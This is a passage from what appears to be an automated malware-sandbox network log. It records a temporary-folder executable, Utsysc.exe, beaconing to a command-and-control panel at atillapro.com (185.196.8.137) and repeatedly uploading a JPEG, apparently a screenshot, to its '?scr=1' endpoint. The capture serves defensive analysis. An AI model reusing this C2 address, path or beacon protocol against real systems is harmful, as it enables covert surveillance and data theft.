Apr 9, 2024 14:54:58.137902975 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:58.138616085 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:58.326822996 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49831	216.250.255.115	80	940	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:58.620528936 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 15 3a a1 5c 34 94 ed df c3 df 65 ae f4 b2 f2 39 06 a8 d3 8c 61 d0 eb d5 15 52 d0 20 82 56 20 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: f:\4e9aR V P,0$(k9+/#'g3=52*.&</1)-%H#
Apr 9, 2024 14:54:58.778556108 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 5f 99 40 f0 e4 29 cc 02 81 b9 35 ec 6e 28 fe 56 e7 61 76 ae 80 20 69 c2 2a 96 56 04 6e 7c fa a5 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73_@)5n(Vav iVn\|00A`.eVhe0H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 9, 2024 14:54:58.778573036 CEST	130	IN	Data Raw: cf 98 20 7a 01 b1 82 d3 01 b7 b2 ee a3 4c f6 7d 3b 25 89 9a 20 8c 58 0b 83 da e6 fc 32 fc 37 d1 03 e7 20 74 29 c2 80 77 26 39 7b a5 4a 8a a6 39 f3 4e 6f 78 b6 05 13 77 ab dc c5 47 3a d9 22 38 55 f9 7e ba e5 72 9f 41 0d b1 b0 91 1f 80 4e 9c 06 e0 Data Ascii: zL};% X27 t)w&9{J9NoxwG:"8U~rANPY@PYc:OX!j
Apr 9, 2024 14:54:58.792920113 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 01 25 ec 15 c4 7f ca aa fe 39 08 7c 4d 59 7e 05 11 54 c4 c9 8c a2 46 36 f9 64 8d 3c 21 54 6b c6 fa c7 a0 0c 35 5b ec 95 f0 4b 17 ff 82 f9 bd d4 9c 4e cd 22 dd c8 4f 71 5f 60 6c 0c 02 05 b3 5f 77 d6 00 7e e4 42 ba Data Ascii: %9\|MY~TF6d<!Tk5[KN"Oq_`l_w~B8,`>{(P+Wqjz7d{27\|W8N6^}n~A*Z ]-#9%GIDKHs
Apr 9, 2024 14:54:58.951159954 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 e2 1d a8 6f 88 40 e7 85 c2 3b 11 a2 16 89 a2 7c b2 7f af d6 b0 98 dd 52 be fa 62 5e 50 fe b2 65 Data Ascii: o@;\|Rb^Pe
Apr 9, 2024 14:54:58.951479912 CEST	526	OUT	Data Raw: 17 03 03 02 09 1a fb 81 5e 59 ae 0b a3 de 17 6d fc c3 15 63 61 e9 4a c3 cf bb 78 93 8e 99 47 bf bf 5d 2f 7c 1e 28 14 5d 4f 97 36 b6 33 02 ac f3 11 13 dd 3e c4 9c f8 d0 4f 1f 45 8d e8 5b 21 ed 3a 85 2d c4 56 3d 3d 40 e0 38 59 db bd 1b 7e f5 6a 19 Data Ascii: ^YmcaJxG]/\|(]O63>OE[!:-V==@8Y~j=,?dPI;&V"LWXXwoXge//2.K,4-HPh[,(~a_lP[@*c<Q"1(bjPH;j`U"2rCu3)fH
Apr 9, 2024 14:54:59.139225006 CEST	177	IN	Data Raw: 17 03 03 00 ac ab 3b 37 83 5d 02 00 7b 0a f0 ba 96 1a 43 d7 ba 25 d2 50 2d f4 b8 c6 bb 01 15 da 40 92 1b 4e 53 59 41 39 05 9a ac eb 29 63 3a be 32 01 8e 19 70 d1 52 bd a5 ca ae 8b f3 98 ff b1 00 09 63 56 3a 7e 05 99 64 19 32 0b d1 c9 c4 b1 ee b5 Data Ascii: ;7]{C%P-@NSYA9)c:2pRcV:~d2mpQRlYJQ}=x\|sXna86:LJ7\|vz&JtlIR!yR(=W
Apr 9, 2024 14:54:59.141875982 CEST	27	OUT	Data Raw: 17 03 03 00 16 41 be 8b c3 72 b6 fa 4f 06 10 f3 3b f5 65 2c b1 fa b5 5f f9 7e 05 Data Ascii: ArO;e,_~
Apr 9, 2024 14:54:59.293107033 CEST	128	OUT	Data Raw: 17 03 03 00 7b b8 24 af f3 0b ec 7a 38 6a 9b 0a 59 92 19 77 c6 61 d5 a5 ee 76 ab 39 1c cb 37 da db 59 3a 3c f5 b3 2b a3 42 6c 77 ed c9 5f eb 72 55 a0 51 c9 e0 9a 39 48 5d 41 ea a8 6d 9c b1 23 d7 11 32 22 3f 73 f8 dd 47 1a 67 7c 0a 36 bd 6e 3e d5 Data Ascii: {$z8jYwav97Y:<+Blw_rUQ9H]Am#2"?sGg\|6n>r~HK'B\i-B4wRub3t.}
Apr 9, 2024 14:54:59.445018053 CEST	119	IN	Data Raw: 17 03 03 00 72 77 b8 84 d8 01 60 a6 08 7b 3e 83 b9 a1 74 db dc d5 79 98 45 d6 b8 4d fa 38 eb 76 ee 0b a0 d0 34 eb af 84 01 6a 3e ab 31 cf 74 fd 1a db 65 53 af ca 51 8c 93 9f 5d 25 03 1f 2d 87 c4 63 03 c1 83 0f 74 9a 74 79 94 f0 80 b5 79 8c 08 f1 Data Ascii: rw`{>tyEM8v4j>1teSQ]%-cttyy!-Wa0bf[\|3H"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49832	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:58.645806074 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:58.823702097 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:58.825530052 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:59.006647110 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49833	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:58.979809999 CEST	173	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----MTA0MDM0 Host: atillapro.com Content-Length: 104186 Cache-Control: no-cache
Apr 9, 2024 14:54:58.979904890 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 54 41 30 4d 44 4d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------MTA0MDM0Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:58.979959965 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:58.979976892 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:58.979998112 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:58.980015993 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:58.980036020 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:58.980050087 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:58.980070114 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:58.980086088 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:58.980108023 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:55:00.942235947 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49834	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:59.338176012 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:59.516294003 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:59.517116070 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:59.715607882 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49835	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:00.010931969 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:55:00.189846039 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:55:00.194216967 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:55:00.393378973 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49836	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:00.710263968 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:55:00.887712955 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:55:00.888324022 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:55:01.069576025 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49837	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:02.946583033 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:55:03.125221968 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:55:03.135459900 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:55:03.334546089 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49838	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:02.946583986 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTgzMDk= Host: atillapro.com Content-Length: 98461 Cache-Control: no-cache
Apr 9, 2024 14:55:02.946654081 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 67 7a 4d 44 6b 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTgzMDk=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:55:02.946654081 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:55:02.946674109 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:55:02.946674109 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:55:02.946695089 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:55:02.946721077 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:55:02.946721077 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:55:02.946743965 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:55:02.946743965 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:55:02.946763992 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:55:04.620613098 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49839	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:03.919475079 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:55:04.097011089 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:55:04.102901936 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:55:04.299839973 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49840	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:04.627077103 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:55:04.804650068 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:55:04.805363894 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:55:04.985965967 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49841	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:04.994910002 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTgyODM= Host: atillapro.com Content-Length: 98435 Cache-Control: no-cache
Apr 9, 2024 14:55:04.995023966 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 67 79 4f 44 4d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTgyODM=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:55:04.995023966 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:55:04.995069027 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:55:04.995069027 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:55:04.995069027 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:55:04.995120049 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:55:04.995120049 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:55:04.995120049 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:55:04.995137930 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:55:04.995182991 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:55:06.808743000 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49842	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:55:05.294256926 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:55:05.472333908 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:55:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
